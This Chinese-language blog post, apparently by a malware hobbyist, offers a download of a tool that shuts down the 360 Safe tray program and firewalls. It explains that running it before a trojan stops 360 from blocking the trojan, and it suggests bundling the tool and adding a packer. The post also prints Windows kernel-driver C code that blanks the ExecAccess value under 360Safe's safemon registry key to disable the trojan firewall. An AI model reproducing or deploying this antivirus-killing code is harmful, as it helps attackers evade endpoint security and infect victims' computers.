今天在小熊看到一段关闭360托盘程序的代码，是delphi的，作者是9908006

翻译成了C的编译了一下,测试可以关闭仅有托盘状态的360。

大小仅1K～！～

测试在Windows xp sp3下有效

下载地址：http://www.lingdux.com/upload/k360.rar

应观众要求，升级到v2，添加了关闭360系统防火墙功能。

在木马之前运行，360的木马防火墙和系统防火墙就关闭了，就不会拦截我们的马儿了～！

体积92k，大了点，无壳的，使用时自己加个压缩壳吧。

应该xp系统有效

怎么使用呢，捆绑，rar什么的，自己发挥吧。

有bug在我博客留言……

点击下载

首先明确一下流程：

1.定义一个操作对象OBJECT_ATTRIBUTES

2.用InitializeObjectAttributes()函数初始化这个对象

3.用ZwOpenKey()函数来打开注册表打开360的选项

4.用ZwSetValueKey()函数来把360木马防火墙的的键值设置成空

5用ZwClose()函数来关闭打开的注册表

代码如下：

#include <ntddk.h>
VOID Unload(IN PDRIVER_OBJECT DriverObject)
{}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING UnicodeString)
{
 UNICODE_STRING path;//定义注册表路径字符串
 UNICODE_STRING name;//定义名称字符串
 UNICODE_STRING data;//定义数据字符串
 OBJECT_ATTRIBUTES oa;//定义操作对象
 HANDLE myhandle=NULL;//定义返回句柄

 RtlInitUnicodeString(&path,L”\\Registry\\Machine\\SOFTWARE\\360Safe\\safemon”);//初始化注册表路径字符串
 RtlInitUnicodeString(&name,L”ExecAccess”);//初始化名称字符串
 RtlInitUnicodeString(&data,0);//初始化数据字符串
 InitializeObjectAttributes(&oa,&path,OBJ_CASE_INSENSITIVE,NULL,NULL);//初始化操作对象
 ZwOpenKey(//打开注册表
  &myhandle,//返回句柄
  KEY_WRITE,//权限
  &oa//操作对象
  );
 ZwSetValueKey(//设置注册表键值
  myhandle,//当前句柄
  &name,//键名
  0,
  REG_SZ,//方式
  data.Buffer,//字符串缓冲
  data.Length//字符串长度
  );
 ZwClose(myhandle);//关闭注册表
 DriverObject->DriverUnload=Unload;
 return STATUS_SUCCESS;
}

编译后加载驱动就可以关闭360的木马防火墙了～！